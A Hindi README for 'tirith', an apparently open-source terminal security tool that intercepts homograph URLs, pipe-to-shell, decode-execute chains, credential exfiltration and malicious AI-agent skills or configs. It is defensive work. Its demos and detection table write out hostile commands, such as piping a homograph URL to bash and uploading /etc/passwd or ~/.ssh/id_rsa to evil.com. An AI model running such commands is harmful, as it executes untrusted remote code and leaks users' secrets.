
डेवलपर्स और AI एजेंटों के लिए टर्मिनल सुरक्षा। निष्पादन से पहले होमोग्राफ़ URL, पाइप-टू-शेल, ANSI इंजेक्शन, अस्पष्ट पेलोड, डेटा एक्सफ़िल्ट्रेशन, और दुर्भावनापूर्ण AI कौशल/कॉन्फ़िग को रोकता है।
# tirith
**आपका ब्राउज़र इसे पकड़ लेगा। आपका टर्मिनल नहीं पकड़ेगा।**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/11454/e8bf601682b2f9f38e53011dbe66be548699859fd54c0751d7f4639bb49edf6d.png" alt="tirith, terminal security" width="100%" />
</p>
[](https://github.com/sheeki03/tirith/actions/workflows/ci.yml)
[](https://github.com/sheeki03/tirith/stargazers)
[](LICENSE-AGPL)
[वेबसाइट](https://tirith.sh) | [डॉक्स](https://tirith.sh/docs) | [SKILL.md](https://github.com/sheeki03/tirith/blob/main/SKILL.md) | [चेंजलॉग](https://github.com/sheeki03/tirith/blob/main/CHANGELOG.md) | [रिलीज़](https://github.com/sheeki03/tirith/releases)
<a href="https://vercel.com/open-source-program">
<img alt="Vercel OSS Program" src="https://vercel.com/oss/program-badge-2026.svg" />
</a>
<sub>स्वतंत्र ओपन-सोर्स प्रोजेक्ट, होस्टिंग Vercel Open Source Program (Spring 2026 Cohort) द्वारा समर्थित।</sub>
---
क्या आप अंतर पहचान सकते हैं?```
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
```
आप नहीं कर सकते। आपका टर्मिनल भी नहीं कर सकता। दोनों `і` अक्षर सिरिलिक (U+0456) हैं, लैटिन `i` नहीं। दूसरा URL हमलावर के सर्वर पर रिज़ॉल्व होता है। स्क्रिप्ट आपके ध्यान देने से पहले ही निष्पादित हो जाती है।
ब्राउज़रों ने इसे वर्षों पहले हल कर लिया था। टर्मिनल अभी भी यूनिकोड, ANSI एस्केप, और अदृश्य अक्षरों को बिना किसी प्रश्न के रेंडर करते हैं। AI एजेंट शेल कमांड चलाते हैं और पैकेज इंस्टॉल करते हैं बिना यह जाँचे कि अंदर क्या है।
**Tirith द्वार पर खड़ा है।** यह कमांड, पेस्ट की गई सामग्री, और स्कैन की गई फ़ाइलों को होमोग्राफ़ URL, अस्पष्ट पेलोड, क्रेडेंशियल एक्सफ़िल्ट्रेशन, दुर्भावनापूर्ण AI स्किल्स/कॉन्फ़िग्स, और हस्ताक्षरित थ्रेट इंटेलिजेंस डेटाबेस से ज्ञात-खराब पैकेज/डोमेन/IP के लिए इंटरसेप्ट करता है, इससे पहले कि वे निष्पादित हों।```bash
brew install tirith
```
फिर अपने शेल प्रोफ़ाइल में सक्रिय करें:```bash
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
```
> [!TIP]
> `eval "$(tirith init)"` आपके वर्तमान shell का स्वतः पता लगाता है (यह parent process की जाँच करता है और आवश्यकता पड़ने पर `$SHELL` पर वापस आ जाता है)। स्पष्ट `--shell` flag की आवश्यकता केवल तब होती है जब आप detection को override करना चाहते हैं।
इंटरैक्टिव-shell कवरेज के लिए बस इतना ही। उस shell द्वारा स्वीकार किए गए कमांड तब जाँचे जाते हैं जब hook लोड और स्वस्थ होता है; सटीक blocking व्यवहार shell और mode पर निर्भर करता है। इंस्टॉलेशन और अपग्रेड के बाद `tirith doctor` चलाएँ, और hook को authorization boundary मानने से पहले [enforcement by shell](#enforcement-by-shell) पढ़ें। साफ़ कमांड चुप रहते हैं और सामान्यतः fast path लेते हैं।
[npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), और [अधिक](#install) के माध्यम से भी उपलब्ध है।
---
## इसे काम करते हुए देखें
**Homograph attack, निष्पादन से पहले अवरुद्ध:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
```
कमांड कभी निष्पादित नहीं होता।
**साफ़ URL के साथ पाइप-टू-शेल, चेतावनी दी गई, अवरुद्ध नहीं किया गया:**```
$ curl -fsSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
Consider downloading first and reviewing.
```
चेतावनी stderr पर प्रिंट होती है। कमांड फिर भी चलता है।
**Base64 decode-execute श्रृंखला, अवरुद्ध:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
```
sudo/env wrappers और PowerShell `-EncodedCommand` के माध्यम से decode chains को भी पकड़ता है।
**Credential exfiltration, blocked:**```
$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration, Data exfiltration via curl upload
curl command uploads sensitive data to a remote server
```
सभी curl/wget अपलोड फ़्लैग, env वेरिएबल्स (`$AWS_SECRET_ACCESS_KEY`), और कमांड सब्स्टिट्यूशन को कवर करता है।
**स्कैन पर पकड़ी गई दुर्भावनापूर्ण स्किल फ़ाइल:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
```
JS/Python फ़ाइलों को अस्पष्ट पेलोड, गतिशील कोड निष्पादन, और गुप्त डेटा चोरी पैटर्न के लिए स्कैन करता है।
**सामान्य कमांड, अदृश्य:**```
$ git status
$ ls -la
$ docker compose up -d
```
कुछ नहीं। शून्य आउटपुट। तुम भूल जाते हो कि tirith चल रहा है।
---
## यह क्या पकड़ता है
**35 श्रेणियों में 244 डिटेक्शन नियम।**
| श्रेणी | यह क्या रोकता है |
|----------|--------------|
| **होमोग्राफ़ हमले** | होस्टनेम में सिरिलिक/ग्रीक समान दिखने वाले अक्षर, punycode डोमेन, मिश्रित-स्क्रिप्ट लेबल, समान दिखने वाले TLD, भ्रमित करने वाले डोमेन, टेक्स्ट-स्तरीय भ्रमित डिटेक्शन (गणितीय अल्फ़ान्यूमेरिक्स, एक ही शब्द में मिश्रित-स्क्रिप्ट) |
| **टर्मिनल इंजेक्शन** | ANSI एस्केप सीक्वेंस, bidi ओवरराइड, ज़ीरो-विड्थ कैरेक्टर, यूनिकोड टैग, अदृश्य गणितीय ऑपरेटर, वेरिएशन सेलेक्टर, हंगुल फ़िलर |
| **स्टेग्नोग्राफ़ी रक्षा** | अदृश्य व्हाइटस्पेस एन्कोडिंग (12 यूनिकोड स्पेस वेरिएंट), मंगोलियन वॉवेल सेपरेटर, हंगुल फ़िलर कैरेक्टर, गणितीय अल्फ़ान्यूमेरिक प्रतिस्थापन, st3gg-शैली टेक्स्ट स्टेग्नोग्राफ़ी के विरुद्ध रक्षा |
| **पाइप-टू-शेल** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, साथ ही कई रैपर, डिकोड, और इनडायरेक्शन पथ |
| **Base64 डिकोड-एग्ज़ीक्यूट** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, sudo/env रैपर के माध्यम से डिकोड चेन |
| **डेटा एक्सफ़िल्ट्रेशन** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, env वेरिएबल अपलोड (`$AWS_SECRET_ACCESS_KEY`), कमांड सब्स्टिट्यूशन एक्सफ़िल |
| **कोड फ़ाइल स्कैनिंग** | ऑब्फ़स्केटेड पेलोड (`eval(atob(...))`), डायनामिक कोड एक्ज़ीक्यूशन (`exec(b64decode(...))`), JS/Python फ़ाइलों में `fetch`/`requests.post` के माध्यम से सीक्रेट एक्सफ़िल्ट्रेशन |
| **क्रेडेंशियल डिटेक्शन** | AWS कीज़, GitHub PATs, Stripe/Slack/SendGrid/Anthropic/GCP/npm टोकन, प्राइवेट की ब्लॉक, साथ ही एन्ट्रॉपी-आधारित जेनेरिक सीक्रेट डिटेक्शन |
| **पोस्ट-कॉम्प्रोमाइज़ व्यवहार** | प्रोसेस मेमोरी स्क्रैपिंग (`/proc/*/mem`), Docker रिमोट प्रिविलेज एस्केलेशन, क्रेडेंशियल फ़ाइल स्वीप, TeamPCP और UNC1069 पोस्ट-कॉम्प्रोमाइज़ टूलिंग के विरुद्ध कैलिब्रेटेड |
| **कमांड सुरक्षा** | डॉटफ़ाइल ओवरराइट, संवेदनशील पथों पर आर्काइव एक्सट्रैक्शन, क्लाउड मेटाडेटा एंडपॉइंट एक्सेस, प्राइवेट नेटवर्क एक्सेस |
| **असुरक्षित ट्रांसपोर्ट** | शेल को पाइप किया गया सादा HTTP, `curl -k`, अक्षम TLS वेरिफ़िकेशन, गंतव्य छिपाने वाले शॉर्टन किए गए URL |
| **एनवायरनमेंट** | प्रॉक्सी हाईजैकिंग, संवेदनशील env एक्सपोर्ट, env के माध्यम से कोड इंजेक्शन, इंटरप्रेटर हाईजैक, शेल इंजेक्शन env |
| **कॉन्फ़िग फ़ाइल सुरक्षा** | कॉन्फ़िग इंजेक्शन, संदिग्ध संकेतक, कॉन्फ़िग में नॉन-ASCII/अदृश्य यूनिकोड, MCP सर्वर सुरक्षा (असुरक्षित/अविश्वसनीय/डुप्लिकेट/अनुमतिपूर्ण) |
| **इकोसिस्टम खतरे** | Git क्लोन टाइपोस्क्वैट्स, अविश्वसनीय Docker रजिस्ट्री, pip/npm URL इंस्टॉल, web3 RPC एंडपॉइंट, vet-not-configured |
| **इंस्टॉल-कमांड सुरक्षा** | पाइप किए गए डाउनलोड से जोड़े गए APT रेपो, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (अक्षम सिग्नेचर चेक), रॉ/शॉर्टन किए गए रिमोट मैनिफ़ेस्ट के विरुद्ध `kubectl apply -f`, अविश्वसनीय रेपो से Helm चार्ट, अविश्वसनीय रिमोट स्रोतों से Terraform मॉड्यूल, मनमाने URL से `brew install`/`tap` |
| **पथ विश्लेषण** | नॉन-ASCII पथ, पथों में होमोग्लिफ़, डबल-एन्कोडिंग |
| **रेंडर किया गया कंटेंट** | छिपा CSS/रंग कंटेंट, छिपे HTML एट्रिब्यूट, कमेंट कंटेंट विश्लेषण (High पर प्रॉम्प्ट इंजेक्शन, Medium पर विनाशकारी कमांड) |
| **क्लोकिंग डिटेक्शन** | सर्वर-साइड क्लोकिंग (बॉट बनाम ब्राउज़र), क्लिपबोर्ड छिपा कंटेंट, PDF छिपा टेक्स्ट |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, Windows Defender एक्सक्लूज़न (`Add-MpPreference -Exclusion*`), इनलाइन `iex (iwr ...)` डाउनलोड-एग्ज़ीक्यूट |
| **टर्मिनल आउटपुट रक्षा** | OSC 52 क्लिपबोर्ड राइट, नकली प्रॉम्प्ट, OSC 8 हाइपरलिंक और टाइटल / क्लियर-स्क्रीन मैनिपुलेशन, कमांड या MCP टूल आउटपुट के अंदर प्रॉम्प्ट इंजेक्शन (रॉ और डीऑब्फ़स्केटेड दोनों स्कैन किए जाते हैं, इसलिए अदृश्य-कैरेक्टर, भ्रमित करने वाले, स्पेस किए गए, leetspeak, और छोटे base64 / hex एवेज़न भी पकड़े जाते हैं), और आउटपुट डेटा एक्सफ़िल्ट्रेशन (बीकन URL या "एक सीक्रेट पढ़ो फिर भेज दो" निर्देश) |
| **ऑपरेशनल कॉन्टेक्स्ट** | लेबल-किए गए-prod क्लाउड / k8s कॉन्टेक्स्ट और SSH होस्ट के विरुद्ध विनाशकारी कमांड, मेल खाते सेव किए गए प्लान के बिना Terraform / Pulumi / OpenTofu `apply`, जोखिम भरा sudo एस्केलेशन, प्रिविलेज्ड `docker run` |
| **वर्कस्टेशन और पर्सिस्टेंस** | ढीली-अनुमति वाली क्रेडेंशियल फ़ाइलें और प्लेनटेक्स्ट टोकन (`~/.ssh`, `~/.aws`, `.npmrc`), पर्सिस्टेंस फ़ुटहोल्ड (shell rc, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), PATH-हाईजैक क्रम, एक्ज़ीक्यूटेबल प्रोवेनेंस, जोखिम भरे एलियास, और संवेदनशील env-var लाइफ़साइकल |
| **ब्लास्ट रेडियस और सहसंबंध** | रेपो से बाहर निकलने वाले डिलीट, सामूहिक डिलीशन, जोखिम भरे स्रोतों से डाउनलोड की गई फ़ाइलों को निष्पादित करना, और सेशन चेन जैसे सीक्रेट-राइट फिर नेटवर्क या डिलीट फिर `git push --force` |
| **ट्रस्ट, अटेस्टेशन और प्रोवेनेंस** | हस्ताक्षरित कमांड-कार्ड बेमेल, कैनरी हनीटोकन स्पर्श, पेस्ट स्रोत-होस्ट बेमेल, कॉलर-ओरिजिन (एजेंट) पॉलिसी अस्वीकृति, MCP लॉकफ़ाइल ड्रिफ़्ट, और ज्ञात-सुरक्षित स्नैपशॉट के विरुद्ध AI-कॉन्फ़िग ड्रिफ़्ट |
| **Web3 कमांड गार्ड** | Cast / Forge / Hardhat / Solana / Anchor कमांड से ऑन-चेन राइट (High जब वही कमांड घोषित सुरक्षा नियंत्रण को भी अक्षम करता है), कमांड लाइन पर रॉ प्राइवेट-की, keypair, या mnemonic सामग्री, और एक RPC एंडपॉइंट या साइनर जिस पर ऑपरेटर की `web3_guard` पॉलिसी भरोसा नहीं करती। केवल व्याकरण और पॉलिसी: कोई चेन स्टेट नहीं पढ़ी जाती, कोई ट्रांज़ैक्शन सिम्युलेट नहीं किया जाता, और किसी एड्रेस को स्कोर नहीं किया जाता |
| **वॉलेट एक्सफ़िल्ट्रेशन** | समीक्षित वॉलेट, कीस्टोर, ब्राउज़र-वॉलेट, और Solana-keypair सामग्री एक सिद्ध रिमोट सिंक की ओर बहती हुई, जिसमें आर्काइव, base64, hex, कंप्रेसर, और एन्क्रिप्टर स्टेजिंग हॉप और `xargs` / `find -exec` ऑपरेंड प्रमोशन शामिल हैं। केवल-स्रोत रीड जानबूझकर कोई फ़ाइंडिंग नहीं है |
| **CI आर्टिफ़ैक्ट पॉइज़निंग** | एक फ़ोर्क-पहुँच योग्य वर्कफ़्लो जो बिल्ड आर्टिफ़ैक्ट अपलोड करता है, जिसे एक प्रिविलेज्ड `workflow_run` वर्कफ़्लो द्वारा उपभोग किया जाता है जो ट्रिगर करने वाले रन से बंधा होता है और फिर उसे निष्पादित, स्रोत, PATH-म्यूटेट, प्रकाशित, या डिप्लॉय करता है |
---
## tirith किस चीज़ से रक्षा नहीं करता
Tirith कमांड, पेस्ट किए गए टेक्स्ट, और फ़ाइलों की **संरचना** का विश्लेषण उनके
निष्पादन से पहले करता है। यह एक प्री-एग्ज़ीक्यूशन गेट है, रनटाइम रक्षा नहीं, और
इसमें शामिल नहीं है:
- **सामान्य रनटाइम सैंडबॉक्सिंग:** साधारण शेल हुक और `tirith check` चेतावनी देते हैं
या ब्लॉक करते हैं; वे लॉन्च के बाद किसी कमांड को आइसोलेट नहीं करते। स्पष्ट
`capsule run --preset untrusted-project` और लागू करने वाले `pkg install` पथ
केवल समर्थित x86_64 Linux होस्ट पर फ़ेल-क्लोज़्ड कंटेनमेंट प्रदान करते हैं।
- **पोस्ट-एग्ज़ीक्यूशन नेटवर्क मॉनिटरिंग:** लॉन्च के बाद कोई प्रोसेस नेटवर्क पर क्या
करती है, यह दायरे से बाहर है।
- **सामान्य मैलवेयर / पेलोड डिटेक्शन:** tirith एंटीवायरस नहीं है और किसी पेलोड को
डिटोनेट नहीं करता। यह संरचना का विश्लेषण करता है और हस्ताक्षरित थ्रेट डेटाबेस से
सटीक संकेतक और आर्टिफ़ैक्ट/फ़ाइल हैश मैच कर सकता है, लेकिन मैच की अनुपस्थिति से
कोई अज्ञात पेलोड बेनाइन सिद्ध नहीं होता। (`tirith run` डाउनलोड किए गए स्क्रिप्ट की
संरचना जाँचता है; यह फिर भी डायनामिक मैलवेयर विश्लेषण नहीं है।)
- **एक प्रिविलेज्ड root/admin हमलावर:** जो कोई पहले से root या admin है, वह tirith को
तुच्छता से बायपास कर सकता है। यह धोखे में डाले गए इनपुट से बचाव करता है, उस हमलावर
से नहीं जो पहले से मशीन का मालिक है।
- **एंटी-डीबगिंग / एंटी-टैम्परिंग:** tirith रिवर्स इंजीनियरिंग का प्रतिरोध नहीं करता
और स्थानीय हमलावर से अपनी बाइनरी की रक्षा नहीं करता।
- **ऑन-चेन विश्लेषण:** Web3 गार्ड कमांड व्याकरण पढ़ता है। यह चेन स्टेट नहीं पढ़ता,
ट्रांज़ैक्शन सिम्युलेट नहीं करता, ENS रिज़ॉल्व नहीं करता, एड्रेस स्कोर नहीं करता,
कॉन्ट्रैक्ट ऑडिट नहीं करता, या मेमपूल नहीं देखता।
- **एक npm आर्टिफ़ैक्ट फ़ायरवॉल:** tirith npm कमांड व्याकरण और रजिस्ट्री पहचान तथ्यों
को पार्स करता है, और प्रोजेक्ट के स्वयं के npm से उसकी सिग्नेचर और प्रोवेनेंस स्थिति
पूछ सकता है। यह npm जो tarball इंस्टॉल करता है उसे डाउनलोड, एक्सट्रैक्ट, क्वारंटीन,
या बाइंड नहीं करता। कंटेन्ड, हैश-पिन्ड आर्टिफ़ैक्ट फ़ायरवॉल केवल Python के लिए है।
- **ब्राउज़र फ़ोरेंसिक्स या मॉनिटरिंग:** `tirith browser audit` एक्सटेंशन सोर्स ट्री का
एक स्पष्ट, वन-शॉट, रीड-ओनली इंटीग्रिटी ऑडिट है। यह कभी कुकीज़, इतिहास, सेव किए गए
पासवर्ड, स्टोरेज, वॉलेट डेटाबेस, या `Local State` नहीं पढ़ता, कभी कुछ हटाता या
क्वारंटीन नहीं करता, और इसका कोई डेमन नहीं है।
- **रिप्रोड्यूसिबल बिल्ड:** एक `attest` रसीद रिकॉर्ड करती है कि एक क्षण में दो ट्री में
क्या था। Tirith आपका बिल्ड नहीं चलाता और यह नहीं कह सकता कि आउटपुट स्रोत से आया।
एक डिप्लॉयमेंट रसीद एक पॉइंट-इन-टाइम माप है, निरंतर मॉनिटरिंग नहीं।
पूर्ण थ्रेट मॉडल और स्पष्ट नॉन-गोल्स के लिए [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md)
देखें, और tirith क्या डिटेक्ट करता है, निर्णय लेता है, लागू करता है, कंटेन करता है,
और अटेस्ट करता है, इसका क्षमता-दर-क्षमता लेजर के लिए
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) देखें।
---
## ज्ञात सीमाएँ
- **शेल-हुक नाज़ुकता:** सुरक्षा इस पर निर्भर करती है कि एक शेल हुक इंस्टॉल और सक्रिय
रहे। हुक शेल, शेल वर्शन, प्रॉम्प्ट फ़्रेमवर्क, और हिस्ट्री टूल्स में टूट सकते हैं या
चुपचाप कमज़ोर हो सकते हैं। लाइव स्थिति जाँचने के लिए `tirith doctor` चलाएँ और
केवल-चेतावनी वाली गिरावट पर नज़र रखें।
- **पूर्ण या रीड-ओनली अस्थायी स्टोरेज:** zsh और fish Tirith को इनवोक करने से पहले एक
स्क्रैच फ़ाइल के माध्यम से इनपुट कैप्चर करते हैं और जब वह फ़ाइल बनाई नहीं जा सकती
तो फ़ेल क्लोज़्ड होते हैं। इसलिए एक पूर्ण/रीड-ओनली `TMPDIR` हर कमांड को अस्वीकार
कर सकता है, और `TIRITH=0` रिकवर नहीं कर सकता क्योंकि बाइनरी तक कभी पहुँचा ही नहीं
जाता। [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md) में रिकवरी चरणों का पालन करें।
- **प्लेटफ़ॉर्म-सीमित सुविधाएँ:** डेमन मोड, `tirith run`, और `tirith fetch` Unix
सरफ़ेस हैं। `tirith run --no-exec` वहाँ एक इंस्पेक्शन वर्कफ़्लो बना रहता है, लेकिन
लाइव रिमोट-स्क्रिप्ट एक्ज़ीक्यूशन केवल Linux है और हर अन्य होस्ट पर डाउनलोड से पहले
मना कर देता है। `tirith setup` क्रॉस-प्लेटफ़ॉर्म है, जबकि प्रत्येक होस्ट इंटीग्रेशन
का अपना प्लेटफ़ॉर्म कॉन्ट्रैक्ट है (उदाहरण के लिए Cline में POSIX और Windows रैपर
हैं; OpenHands का ब्लॉकिंग हुक केवल Unix है)।
- **पैकेज-नाम निष्कर्षण दायरा:** भाषा इकोसिस्टम (pip, npm/yarn/pnpm/bun, cargo, gem,
go, composer, dotnet, mvn/gradle) को कवर करता है, डिस्ट्रो पैकेज मैनेजर (`apt`,
`dnf`, `yum`, `pacman`) को नहीं।
- **AI-एजेंट चेतावनियाँ:** शेल-हुक इंटरसेप्शन केवल उन कमांड की रक्षा करता है जो एक
हुक किए गए इंटरैक्टिव शेल से गुज़रते हैं। एक एजेंट जो नॉन-इंटरैक्टिव शेल स्पॉन करता
है, सीधे `exec` कॉल करता है, या हुक लोड किए बिना चलता है, उस परत से कवर नहीं होता।
MCP रजिस्ट्रेशन सहकारी है जब तक कॉल गेटवे से रूट न हों। एक समर्थित प्री-टूल हुक
स्वचालित रूप से होस्ट कमांड को रोक सकता है, लेकिन केवल तब जब उस होस्ट ने उसे लोड
और सम्मानित किया हो; कई होस्ट हुक प्रोसेस में त्रुटि होने पर फ़ेल ओपन करते हैं।
प्रभावी होस्ट सत्यापित करें, केवल कॉन्फ़िग फ़ाइल की उपस्थिति नहीं।
- **होस्ट-हुक विफलता व्यवहार:** Grok Build, Cline, और OpenHands अपने हुक प्रोसेस के
क्रैश या टाइमआउट होने पर टूल को अनुमति देते हैं। Tirith का एडाप्टर डिफ़ॉल्ट रूप से
अपनी त्रुटियों पर मना करता है, लेकिन यह किसी होस्ट को ऐसी प्रोसेस का सम्मान करने
```
---
[Read more](https://github.com/sheeki03/tirith)